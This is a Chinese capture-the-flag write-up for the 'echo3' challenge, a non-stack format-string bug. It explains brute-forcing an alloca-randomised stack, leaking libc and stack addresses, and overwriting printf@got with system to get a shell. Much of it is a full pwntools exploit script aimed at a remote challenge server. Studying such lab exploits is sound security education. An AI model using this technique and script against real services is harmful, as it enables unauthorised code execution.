BUU-inndy_echo3-WP
虽然马上就要期末考了,我应该好好复习数分,但是还是没忍住,花了不少时间pwn了这题。
这是我做过的最麻烦的fmt,知识并没有新增,还是“搭跳板”,但是由于要爆破,之前就一直没做,今天突然想起来,莫名其妙的胸有成竹了起来,就试着pwn了一下
前置知识
不在栈上的格式化字符串利用方法。我写过两篇wp对此方法进行了分析,这里就不在说了
特点
栈被随机了

alloca
是一个在栈上动态分配内存的函数,相比起malloc
肯定是要快上不少,但是种种原因都使得这个函数不被建议使用,不过这毕竟是题目,也就不管太多了。buf
是一个随机数,然后通过一段奇怪的表达式申请了内存
写个脚本跑跑看
#!/usr/bin/env python
# coding=utf-8
poss = set()
for i in range(0,1000000):
poss.add(16*(((i & 0x3039) + 30)/0x10))
poss = set(poss)
print list(poss)
# chuj @ cmp1 in ~/buu [14:31:45]
$ python echo3_test_possibility.py
[64, 8224, 48, 4128, 4160, 80, 12304, 4176, 4112, 32, 8272, 8208, 12336, 12368, 4144, 8240, 8256, 12352, 12320, 16]
发现结果是有限的,那么可以考虑爆破。
利用方法
准备工作
栈的结构是利用的关键,我们需要尽可能地还原,buu提供了libc,我们可以通过patchelf的方法实现libc版本的一致。在这篇文章里面我记录了详细的方法(主要是旧版本ld的编译和patchelf的使用)。
动调分析

alloca
似乎是内联的,直接对esp进行sup,我们把断点下在这里,用set $eax=0x20
的方式指定eax为32,作为我们爆破时期望的随机值(别的值也可以,0x20
兼顾了查看栈的方便和较高的概率)。然后在在hardfmt
函数中的printf
处下断点,观察栈

蓝色框可以leak libc基地址,ebp指向的内存可以leak stack,橙色框提供了两个跳板,由于我们只有五次格式化字符串攻击的机会,就需要同时利用这两个链进行攻击。红色框中有两个高二字节为0x804
的内存单元(和printf@got
的高字节相同),我们利用橙框中的两个链修改这两个单元为&printf@got
和&printf@got + 2
,就可以实现覆写printf@got
为system
,然后传入"/bin/sh\x00"
就可以getshell了。
exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
libc = ELF("./libcs/buu-32-libc.so")
while True:
try:
#sh = process("./echo3")
sh = remote("node3.buuoj.cn",28897)
sh.sendline("%43$p" + "libc_end" + "%18$p" + "stack_end")
libc_base = int(sh.recvuntil("libc_end",drop = True),base =16)
libc_base -= (libc.symbols["__libc_start_main"] + 247)
print "libc_base:\t" + hex(libc_base)# leak the libc_base
got_addr = int(sh.recvuntil("stack_end",drop = True),base = 16) - 4 * (0x2a - 0x14)
print "got_addr:\t" + hex(got_addr)# leak the got_addr
payload = "%" + str(got_addr & 0xFFFF) + "c" + "%30$hn" # point to got
payload += "%4c" + "%31$hn-end" # point to magic
sh.sendline(payload)
sh.recvuntil("-end")
payload = "%" + str(0xA014) + "c" + "%87$hn" #change printf@got
payload += "%2c" + "%85$hn-end" #change printf@got + 2
sh.sendline(payload)
sh.recvuntil("-end")
# above got the ability to overwrite printf@got
system = libc_base + libc.symbols["system"]
if((system >> 16) > (system & 0xFFFF)):
payload = '%' + str(system & 0xFFFF) + 'c' + "%20$hn"
payload += '%' + str((system >> 16) - (system & 0xFFFF)) + 'c' + "%21$hn"
else:
payload = '%' + str(system >> 16) + 'c' + "%21$hn"
payload += '%' + str((system & 0xFFFF) - (system >> 16)) + 'c' + "%20$hn"
payload += "-end"
print payload
sh.sendline(payload)
sh.recvuntil("-end")
sh.sendline("/bin/sh\x00")
sh.interactive()
except:
sh.close()
else:
sh.close()
最近比较忙,这篇wp就只简单的写了下思路,没有特别详细。
我终于做完echo系列的3道题啦!
特别感谢
主要参考了[Hackme.inndy]echo/echo2/echo3,从中我学到了很多。